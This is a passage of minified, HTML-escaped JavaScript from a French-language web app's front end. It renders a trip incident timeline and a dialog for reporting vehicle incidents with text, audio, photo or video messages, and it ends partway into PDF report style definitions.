cours&quot;}),a.jsx(Qt,{value:&quot;resolu&quot;,children:&quot;Résolu&quot;}),a.jsx(Qt,{value:&quot;ferme&quot;,children:&quot;Fermé&quot;})]})]}),!t&amp;&amp;a.jsxs(ge,{variant:o?&quot;default&quot;:&quot;outline&quot;,size:&quot;sm&quot;,onClick:()=&gt;{l(!o),o||s(R=&gt;({...R,incidentId:void 0}))},children:[a.jsx(Kn,{className:&quot;h-4 w-4 mr-2&quot;}),o?&quot;Tous les événements&quot;:&quot;Incidents uniquement&quot;]}),t&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;flex items-center gap-1&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),&quot;Affichage de l&#039;incident #&quot;,t]})]})})]}),Q.length===0?a.jsx(it,{children:a.jsxs(Et,{className:&quot;py-12 text-center text-muted-foreground&quot;,children:[a.jsx(Wf,{className:&quot;h-12 w-12 mx-auto mb-4 opacity-50&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-lg font-medium mb-2&quot;,children:&quot;Aucun événement&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm&quot;,children:o?&quot;Aucun incident enregistré pour ce voyage&quot;:&quot;Aucun événement enregistré pour ce voyage&quot;})]})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[Q.map((R,T)=&gt;{if(R.type===&quot;incident&quot;&amp;&amp;R.incidentId&amp;&amp;R.events)return a.jsx(jHe,{incidentId:R.incidentId,events:R.events,onEditIncident:M=&gt;d(M),onReplyToIncident:M=&gt;h(M)},`incident-${R.incidentId}`);if(R.type===&quot;other&quot;&amp;&amp;R.dateKey&amp;&amp;R.dateEvents){const M=[...R.dateEvents].sort((O,$)=&gt;new Date(O.occurredAt).getTime()-new Date($.occurredAt).getTime());return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;h-px flex-1 bg-border&quot;}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-sm font-medium&quot;,children:R.dateKey}),a.jsx(&quot;div&quot;,{className:&quot;h-px flex-1 bg-border&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:M.map(O=&gt;a.jsx(fHe,{event:O,onViewIncident:r,onEditIncident:$=&gt;d($),onReplyToIncident:$=&gt;h($)},O.id))})]},`date-${R.dateKey}`)}return null}),a.jsx(&quot;div&quot;,{ref:p})]}),n&amp;&amp;a.jsx(ge,{size:&quot;lg&quot;,style:{position:&quot;fixed&quot;,bottom:&quot;24px&quot;,right:&quot;24px&quot;,zIndex:50,height:&quot;56px&quot;,width:&quot;56px&quot;,borderRadius:&quot;9999px&quot;},className:&quot;shadow-lg&quot;,onClick:n,&quot;aria-label&quot;:&quot;Ajouter un incident&quot;,children:a.jsx(Ti,{className:&quot;h-6 w-6&quot;})}),a.jsx(EHe,{voyageId:e,incidentId:c,open:c!==null,onOpenChange:R=&gt;{R||d(null)}}),a.jsx(CHe,{voyageId:e,incidentId:u||0,open:u!==null,onOpenChange:R=&gt;{R||h(null)}})]})}const aO=[{value:&quot;roue&quot;,label:&quot;Roue&quot;,icon:Tg},{value:&quot;electricite&quot;,label:&quot;Électricité&quot;,icon:ry},{value:&quot;moteur&quot;,label:&quot;Moteur&quot;,icon:zm},{value:&quot;frein&quot;,label:&quot;Frein&quot;,icon:f4},{value:&quot;autre&quot;,label:&quot;Autre&quot;,icon:Gl}];function SHe({voyageId:e,open:t,onOpenChange:r}){const{toast:n}=Er(),[i,s]=I.useState(&quot;&quot;),[o,l]=I.useState(null),[c,d]=I.useState(&quot;normale&quot;),[u,h]=I.useState(null),[p,A]=I.useState(&quot;&quot;),[y,v]=I.useState(null),[w,j]=I.useState(null),[E,S]=I.useState(null),[_,C]=I.useState(!1),[Q,R]=I.useState(null),[T,M]=I.useState(0),[O,$]=I.useState(null),[P,L]=I.useState(null),[X,W]=I.useState(!1),[G,J]=I.useState(null),[q,ee]=I.useState(null),[ne,V]=I.useState(null),ue=I.useRef(null),de=I.useRef(null),xe=I.useRef(null),_e=I.useRef(null),Ce=_r({mutationFn:({voyageId:xt,data:wt})=&gt;P$(xt,wt),onSuccess:(xt,wt)=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,wt.voyageId,&quot;incidents&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,wt.voyageId,&quot;events&quot;]})}}),we=_r({mutationFn:({voyageId:xt,incidentId:wt,data:Lt})=&gt;xg(xt,wt,Lt),onSuccess:(xt,wt)=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,wt.voyageId,&quot;incidents&quot;,wt.incidentId]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,wt.voyageId,&quot;events&quot;]})}}),{data:ve}=dw(e),Ne=[...ve?.outbound?.steps||[],...ve?.inbound?.steps||[]];I.useEffect(()=&gt;{if(X&amp;&amp;q&amp;&amp;ue.current){const xt=ue.current;xt.srcObject!==q&amp;&amp;(xt.srcObject=q,xt.play().catch(wt=&gt;{console.error(&quot;Erreur lors de la lecture vidéo:&quot;,wt)}))}},[X,q]);const Ie=xt=&gt;{const wt=Math.floor(xt/60),Lt=xt%60;return`${wt.toString().padStart(2,&quot;0&quot;)}:${Lt.toString().padStart(2,&quot;0&quot;)}`},be=async()=&gt;{try{if(!navigator.mediaDevices||!navigator.mediaDevices.getUserMedia){n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;enregistrement audio.&quot;});return}const xt=await navigator.mediaDevices.getUserMedia({audio:{echoCancellation:!0,noiseSuppression:!0,autoGainControl:!0}}),wt=[&quot;audio/webm&quot;,&quot;audio/ogg&quot;,&quot;audio/mp4&quot;,&quot;audio/wav&quot;];let Lt=&quot;audio/webm&quot;;for(const Le of wt)if(MediaRecorder.isTypeSupported(Le)){Lt=Le;break}const ir=new MediaRecorder(xt,{mimeType:Lt}),He=[];ir.ondataavailable=Le=&gt;{Le.data.size&gt;0&amp;&amp;He.push(Le.data)},ir.onstop=()=&gt;{const Le=new Blob(He,{type:Lt});S(Le),xt.getTracks().forEach(rt=&gt;rt.stop())},ir.start(),R(ir),C(!0),M(0);const ce=setInterval(()=&gt;{M(Le=&gt;Le+1)},1e3);$(ce)}catch(xt){console.error(&quot;Erreur lors de l&#039;enregistrement:&quot;,xt),n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de démarrer l&#039;enregistrement audio.&quot;})}},Re=()=&gt;{Q&amp;&amp;_&amp;&amp;(Q.stop(),C(!1),O&amp;&amp;(clearInterval(O),$(null)))},Pe=xt=&gt;{const wt=xt.target.files?.[0];if(wt){if(wt.size&gt;10*1024*1024){n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;La photo ne doit pas dépasser 10 MB&quot;});return}v(wt),j(null),S(null),A(&quot;&quot;)}xe.current&amp;&amp;(xe.current.value=&quot;&quot;)},Ke=xt=&gt;{const wt=xt.target.files?.[0];if(wt){if(wt.size&gt;25*1024*1024){n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;La vidéo ne doit pas dépasser 25 MB&quot;});return}j(wt),v(null),S(null),A(&quot;&quot;),L(URL.createObjectURL(wt))}_e.current&amp;&amp;(_e.current.value=&quot;&quot;)},[tt,pt]=I.useState(!1),dt=I.useRef(null),Oe=I.useRef(null),Pt=async()=&gt;{try{if(!navigator.mediaDevices||!navigator.mediaDevices.getUserMedia){n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;accès à la caméra.&quot;});return}const xt=await navigator.mediaDevices.getUserMedia({video:!0});dt.current=xt,pt(!0),setTimeout(()=&gt;{Oe.current&amp;&amp;(Oe.current.srcObject=xt,Oe.current.play())},100)}catch(xt){console.error(&quot;Erreur lors de l&#039;accès à la caméra:&quot;,xt),n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;accéder à la caméra.&quot;})}},Kt=async()=&gt;{if(!Oe.current)return;const xt=Oe.current,wt=document.createElement(&quot;canvas&quot;),Lt=wt.getContext(&quot;2d&quot;);wt.width=xt.videoWidth,wt.height=xt.videoHeight,Lt?.drawImage(xt,0,0),wt.toBlob(async ir=&gt;{if(ir)try{const He=new File([ir],`photo_${Date.now()}.jpg`,{type:&quot;image/jpeg&quot;}),{optimizeImage:ce}=await On(async()=&gt;{const{optimizeImage:rt}=await Promise.resolve().then(()=&gt;N7);return{optimizeImage:rt}},void 0),Le=await ce(He,{preset:&quot;incident&quot;});v(Le.file),j(null),S(null),A(&quot;&quot;)}catch(He){console.error(&quot;Erreur lors de l&#039;optimisation:&quot;,He);const ce=new File([ir],`photo_${Date.now()}.jpg`,{type:&quot;image/jpeg&quot;});v(ce),j(null),S(null),A(&quot;&quot;)}dt.current&amp;&amp;(dt.current.getTracks().forEach(He=&gt;He.stop()),dt.current=null),pt(!1)},&quot;image/jpeg&quot;,.9)},gt=()=&gt;{dt.current&amp;&amp;(dt.current.getTracks().forEach(xt=&gt;xt.stop()),dt.current=null),pt(!1)},Jt=async()=&gt;{try{if(!navigator.mediaDevices||!navigator.mediaDevices.getUserMedia){n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;accès à la caméra.&quot;});return}const{getVideoOptimizationConfig:xt}=await On(async()=&gt;{const{getVideoOptimizationConfig:Le}=await Promise.resolve().then(()=&gt;$$);return{getVideoOptimizationConfig:Le}},void 0),{captureVideo:wt}=await On(async()=&gt;{const{captureVideo:Le}=await Promise.resolve().then(()=&gt;fpe);return{captureVideo:Le}},void 0),{formatFileSize:Lt}=await On(async()=&gt;{const{formatFileSize:Le}=await Promise.resolve().then(()=&gt;N7);return{formatFileSize:Le}},void 0),ir=await xt();if(!ir.enabled){n({variant:&quot;destructive&quot;,title:&quot;Vidéo désactivée&quot;,description:&quot;L&#039;optimisation vidéo est désactivée dans les paramètres.&quot;});return}if(!(ir.preferredCaptureMode===&quot;auto&quot;||ir.preferredCaptureMode===&quot;mediaRecorder&quot;)&amp;&amp;ir.preferredCaptureMode===&quot;fileInput&quot;){n({variant:&quot;destructive&quot;,title:&quot;Mode fichier requis&quot;,description:&quot;Veuillez utiliser le sélecteur de fichier pour capturer la vidéo.&quot;});return}V({maxDurationSec:ir.maxDurationSec}),W(!0),M(0);const ce=await wt(ir,Le=&gt;{M(Math.floor(Le))});de.current=ce,J(ce.recorder),ee(ce.stream),ue.current&amp;&amp;ce.stream&amp;&amp;(ue.current.srcObject=ce.stream,ue.current.play().catch(Le=&gt;{console.error(&quot;Erreur lors de la lecture vidéo:&quot;,Le)})),ce.promise.then(Le=&gt;{W(!1),ce.stream.getTracks().forEach(rt=&gt;rt.stop()),ue.current&amp;&amp;(ue.current.srcObject=null),ee(null),V(null),de.current=null,j(Le.file),v(null),S(null),A(&quot;&quot;),L(URL.createObjectURL(Le.blob)),n({title:&quot;Vidéo capturée&quot;,description:`Qualité ${Le.metadata.preset}, ${Le.metadata.duration.toFixed(1)}s, ${Lt(Le.metadata.size)}`,duration:3e3})}).catch(Le=&gt;{W(!1),ee(null),V(null),de.current=null,console.error(&quot;Erreur lors de l&#039;enregistrement vidéo:&quot;,Le),n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Le instanceof Error?Le.message:&quot;Impossible d&#039;accéder à la caméra.&quot;})})}catch(xt){W(!1),ee(null),V(null),de.current=null,console.error(&quot;Erreur lors de l&#039;enregistrement vidéo:&quot;,xt),n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:xt instanceof Error?xt.message:&quot;Impossible d&#039;accéder à la caméra.&quot;})}},Bt=()=&gt;{de.current&amp;&amp;X&amp;&amp;de.current.stop()},tr=async()=&gt;{if(!i){n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un type d&#039;incident&quot;});return}if(!u){n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez ajouter un message (texte, audio, photo ou vidéo)&quot;});return}try{const xt=await Ce.mutateAsync({voyageId:e,data:{type:i,priority:c,voyageEtapeId:o}});if(u===&quot;text&quot;&amp;&amp;p.trim())await we.mutateAsync({voyageId:e,incidentId:xt.id,data:{type:&quot;message&quot;,description:p,senderRole:&quot;backoffice&quot;}});else if(u===&quot;audio&quot;&amp;&amp;E){const wt=new File([E],&quot;recording.webm&quot;,{type:E.type});await we.mutateAsync({voyageId:e,incidentId:xt.id,data:{type:&quot;media&quot;,mediaKind:&quot;audio&quot;,file:wt,senderRole:&quot;backoffice&quot;}})}else u===&quot;photo&quot;&amp;&amp;y?await we.mutateAsync({voyageId:e,incidentId:xt.id,data:{type:&quot;media&quot;,mediaKind:&quot;photo&quot;,file:y,senderRole:&quot;backoffice&quot;}}):u===&quot;video&quot;&amp;&amp;w&amp;&amp;await we.mutateAsync({voyageId:e,incidentId:xt.id,data:{type:&quot;media&quot;,mediaKind:&quot;video&quot;,file:w,senderRole:&quot;backoffice&quot;}});s(&quot;&quot;),l(null),d(&quot;normale&quot;),h(null),A(&quot;&quot;),v(null),j(null),S(null),L(null),r(!1),n({title:&quot;Succès&quot;,description:&quot;L&#039;incident a été créé avec succès&quot;})}catch(xt){console.error(&quot;Erreur lors de la création de l&#039;incident:&quot;,xt),n({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de créer l&#039;incident&quot;})}},sr=()=&gt;{_&amp;&amp;Re(),X&amp;&amp;Bt(),q&amp;&amp;(q.getTracks().forEach(xt=&gt;xt.stop()),ee(null)),dt.current&amp;&amp;(dt.current.getTracks().forEach(xt=&gt;xt.stop()),dt.current=null),P&amp;&amp;(URL.revokeObjectURL(P),L(null)),s(&quot;&quot;),l(null),d(&quot;normale&quot;),h(null),A(&quot;&quot;),v(null),j(null),S(null),W(!1),J(null),pt(!1),r(!1)};return i&amp;&amp;aO.find(xt=&gt;xt.value===i)?.icon,a.jsx(En,{open:t,onOpenChange:sr,children:a.jsxs(yn,{className:&quot;sm:max-w-[600px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Créer un incident&quot;}),a.jsx(Mn,{children:&quot;Signalez un problème et ajoutez un premier message (texte, audio, photo ou vidéo)&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Type d&#039;incident *&quot;}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-2 md:grid-cols-5 gap-3&quot;,children:aO.map(xt=&gt;{const wt=xt.icon,Lt=i===xt.value;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;s(xt.value),className:`p-4 rounded-lg border-2 transition-all ${Lt?&quot;border-primary bg-primary/10&quot;:&quot;border-border hover:border-primary/50&quot;}`,children:[a.jsx(wt,{className:`h-6 w-6 mx-auto mb-2 ${Lt?&quot;text-primary&quot;:&quot;text-muted-foreground&quot;}`}),a.jsx(&quot;p&quot;,{className:`text-xs font-medium ${Lt?&quot;text-primary&quot;:&quot;text-muted-foreground&quot;}`,children:xt.label})]},xt.value)})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;priority&quot;,children:&quot;Priorité&quot;}),a.jsxs(rn,{value:c,onValueChange:xt=&gt;d(xt),children:[a.jsx(Xr,{id:&quot;priority&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;basse&quot;,children:&quot;Basse&quot;}),a.jsx(Qt,{value:&quot;normale&quot;,children:&quot;Normale&quot;}),a.jsx(Qt,{value:&quot;haute&quot;,children:&quot;Haute&quot;}),a.jsx(Qt,{value:&quot;urgente&quot;,children:&quot;Urgente&quot;})]})]})]}),Ne.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;etape&quot;,children:&quot;Étape associée (optionnel)&quot;}),a.jsxs(rn,{value:o?o.toString():&quot;none&quot;,onValueChange:xt=&gt;l(xt===&quot;none&quot;?null:parseInt(xt)),children:[a.jsx(Xr,{id:&quot;etape&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner une étape&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;none&quot;,children:&quot;Aucune étape&quot;}),Ne.map(xt=&gt;{const wt=xt.id?.toString();return wt?a.jsxs(Qt,{value:wt,children:[xt.label,&quot; (&quot;,xt.category,&quot;)&quot;]},xt.id):null})]})]})]}),i&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 border-t pt-4&quot;,children:[a.jsx(Se,{children:&quot;Premier message *&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-4 gap-2&quot;,children:[a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;{h(&quot;text&quot;),v(null),j(null),S(null)},className:`p-3 rounded-lg border-2 transition-all ${u===&quot;text&quot;?&quot;border-primary bg-primary/10&quot;:&quot;border-border hover:border-primary/50&quot;}`,children:[a.jsx(po,{className:`h-5 w-5 mx-auto mb-1 ${u===&quot;text&quot;?&quot;text-primary&quot;:&quot;text-muted-foreground&quot;}`}),a.jsx(&quot;p&quot;,{className:&quot;text-xs&quot;,children:&quot;Texte&quot;})]}),a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;{h(&quot;audio&quot;),A(&quot;&quot;),v(null),j(null)},className:`p-3 rounded-lg border-2 transition-all ${u===&quot;audio&quot;?&quot;border-primary bg-primary/10&quot;:&quot;border-border hover:border-primary/50&quot;}`,children:[a.jsx(F0,{className:`h-5 w-5 mx-auto mb-1 ${u===&quot;audio&quot;?&quot;text-primary&quot;:&quot;text-muted-foreground&quot;}`}),a.jsx(&quot;p&quot;,{className:&quot;text-xs&quot;,children:&quot;Audio&quot;})]}),a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;{h(&quot;photo&quot;),A(&quot;&quot;),j(null),S(null)},className:`p-3 rounded-lg border-2 transition-all ${u===&quot;photo&quot;?&quot;border-primary bg-primary/10&quot;:&quot;border-border hover:border-primary/50&quot;}`,children:[a.jsx(mo,{className:`h-5 w-5 mx-auto mb-1 ${u===&quot;photo&quot;?&quot;text-primary&quot;:&quot;text-muted-foreground&quot;}`}),a.jsx(&quot;p&quot;,{className:&quot;text-xs&quot;,children:&quot;Photo&quot;})]}),a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;{h(&quot;video&quot;),A(&quot;&quot;),v(null),S(null)},className:`p-3 rounded-lg border-2 transition-all ${u===&quot;video&quot;?&quot;border-primary bg-primary/10&quot;:&quot;border-border hover:border-primary/50&quot;}`,children:[a.jsx(Xu,{className:`h-5 w-5 mx-auto mb-1 ${u===&quot;video&quot;?&quot;text-primary&quot;:&quot;text-muted-foreground&quot;}`}),a.jsx(&quot;p&quot;,{className:&quot;text-xs&quot;,children:&quot;Vidéo&quot;})]})]}),u===&quot;text&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;message-text&quot;,children:&quot;Message&quot;}),a.jsx(K0,{id:&quot;message-text&quot;,placeholder:&quot;Décrivez l&#039;incident...&quot;,value:p,onChange:xt=&gt;A(xt.target.value),rows:4})]}),u===&quot;audio&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Enregistrement audio&quot;}),!E&amp;&amp;!_?a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:be,className:&quot;w-full&quot;,children:[a.jsx(F0,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Démarrer l&#039;enregistrement&quot;]}):_?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 p-4 border rounded-lg&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-3 h-3 bg-red-500 rounded-full animate-pulse&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-mono text-lg&quot;,children:Ie(T)})]}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,onClick:Re,className:&quot;w-full&quot;,children:&quot;Arrêter l&#039;enregistrement&quot;})]}):E&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;audio&quot;,{controls:!0,className:&quot;w-full&quot;,children:a.jsx(&quot;source&quot;,{src:URL.createObjectURL(E),type:E.type})}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;{S(null),h(null)},className:&quot;w-full&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer l&#039;enregistrement&quot;]})]})]}),a.jsx(&quot;input&quot;,{type:&quot;file&quot;,accept:&quot;image/*&quot;,ref:xe,onChange:Pe,className:&quot;hidden&quot;}),u===&quot;photo&quot;&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:y?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;img&quot;,{src:URL.createObjectURL(y),alt:&quot;Preview&quot;,className:&quot;w-full h-48 object-cover rounded-lg border&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;{v(null)},className:&quot;w-full&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer la photo&quot;]})]}):tt?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;video&quot;,{ref:Oe,autoPlay:!0,playsInline:!0,className:&quot;w-full h-48 object-cover rounded-lg border bg-black&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;default&quot;,onClick:Kt,className:&quot;w-full&quot;,children:[a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Capturer&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:gt,className:&quot;w-full&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Annuler&quot;]})]})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:Pt,className:&quot;w-full&quot;,children:[a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Prendre une photo&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;xe.current?.click(),className:&quot;w-full&quot;,children:[a.jsx(po,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Choisir un fichier&quot;]})]}),a.jsxs(&quot;div&quot;,{className:&quot;border-2 border-dashed rounded-lg p-4 text-center&quot;,children:[a.jsx(mo,{className:&quot;h-8 w-8 mx-auto mb-2 text-muted-foreground&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Aucune photo sélectionnée&quot;})]})]})}),a.jsx(&quot;input&quot;,{type:&quot;file&quot;,accept:&quot;video/*&quot;,ref:_e,onChange:Ke,className:&quot;hidden&quot;}),u===&quot;video&quot;&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:X?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full h-48 rounded-lg border bg-black overflow-hidden&quot;,children:[a.jsx(&quot;video&quot;,{ref:ue,autoPlay:!0,playsInline:!0,muted:!0,className:&quot;w-full h-full object-cover&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;absolute top-2 right-2 flex items-center gap-2 bg-red-500 text-white px-3 py-1 rounded-full&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-2 h-2 bg-white rounded-full animate-pulse&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium&quot;,children:&quot;Enregistrement...&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[Ie(T),&quot; / &quot;,Ie(ne?.maxDurationSec||10),&quot;s&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,onClick:Bt,size:&quot;sm&quot;,children:[a.jsx(pg,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Arrêter&quot;]})]})]}):w?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;video&quot;,{src:P||void 0,controls:!0,className:&quot;w-full h-48 object-contain rounded-lg border&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;{P&amp;&amp;URL.revokeObjectURL(P),j(null),L(null)},className:&quot;w-full&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer la vidéo&quot;]})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:Jt,className:&quot;w-full&quot;,children:[a.jsx(Xu,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Enregistrer une vidéo&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;_e.current?.click(),className:&quot;w-full&quot;,children:[a.jsx(po,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Choisir un fichier&quot;]})]}),a.jsxs(&quot;div&quot;,{className:&quot;border-2 border-dashed rounded-lg p-4 text-center&quot;,children:[a.jsx(Xu,{className:&quot;h-8 w-8 mx-auto mb-2 text-muted-foreground&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Aucune vidéo sélectionnée&quot;})]})]})})]})]}),a.jsxs(Na,{children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:sr,children:&quot;Annuler&quot;}),a.jsx(ge,{onClick:tr,disabled:!i||!u||u===&quot;text&quot;&amp;&amp;!p.trim()||u===&quot;audio&quot;&amp;&amp;!E||u===&quot;photo&quot;&amp;&amp;!y||u===&quot;video&quot;&amp;&amp;!w||Ce.isPending||we.isPending,children:Ce.isPending||we.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Création...&quot;]}):&quot;Créer l&#039;incident&quot;})]})]})})}function Oi(e){return e?String(e):&quot;—&quot;}function zb(e){if(!e)return&quot;—&quot;;try{const t=e instanceof Date?e:new Date(e);return Wr(t,&quot;dd/MM/yyyy&quot;,{locale:Hr})}catch{return&quot;—&quot;}}function T3(e){if(!e)return&quot;—&quot;;try{const t=e instanceof Date?e:new Date(e);return Wr(t,&quot;dd/MM/yyyy HH:mm&quot;,{locale:Hr})}catch{return&quot;—&quot;}}function $b(e){return e?e.replace(/_/g,&quot; &quot;).replace(/-/g,&quot; &quot;).replace(/\s+/g,&quot; &quot;).trim():&quot;—&quot;}function wl({label:e,value:t,styles:r}){return a.jsxs(Rn,{style:r.row,children:[a.jsx(rr,{style:r.label,children:e}),a.jsx(rr,{style:r.value,children:t})]})}const xr=uY.create({page:{padding:24,fontSize:11,fontFamily:&quot;Helvetica&quot;},h1:{fontSize:18,fontWeight:&quot;bold&quot;,marginBottom:8},h2:{fontSize:12,fontWeight:&quot;bold&quot;,marginTop:8,marginBottom:6,paddingBottom:3,borderBottomWidth:1,borderBottomColor:&quot;#E5E7EB&quot;},label:{color:&quot;#666&quot;,width:140,fontSize:10,fontWeight:&quot;bold&quot;},value:{fontSize:11,color:&quot;#111&quot;,flex:1},section:{marginTop:8,paddingTop:6,borderTopWidth:1,borderTopColor:&quot;#E5E7EB&quot;},card:{backgroundColor:&quot;#F6F7FB&quot;,borderWidth:1,borderColor:&quot;#E5E7EB&quot;,borderRadius:6,padding:10,marginBottom:12},row:{flexDirection:&quot;row&quot;,alignItems:&quot;flex-start&quot;,marginBottom:4},small:{fontSize:9,color:&quot;#666&quot;},header:{flexDirection:&quot;row&quot;,justifyContent:&quot;space-between&quot;,marginBottom:10,paddingBottom:6,borderBottomWidth:1,borderBottomColor:&quot;#000&quot;},headerLeft:{width:&quot;50%&quot;},headerRight:{width:&quot;45%&quot;,textAlign:&quot;right&quot;},logoContainer:{marginBottom:6,alignItems:&quot;flex-start&quot;,maxWidth:80},logo:{width:60,maxHeight:50,objectFit:&quot;contain&quot;},companyName:{fontSize:12,fontWeight:&quot;bold&quot;,marginBottom:3},headerTitle:{fontSize:16,fontWeight:&quot;bold&quot;,textTransform:&quot;uppercase&quot;,marginBottom:4},badge:{backgroundColor:&quot;#E5E7EB&quot;,padding:&quot;2 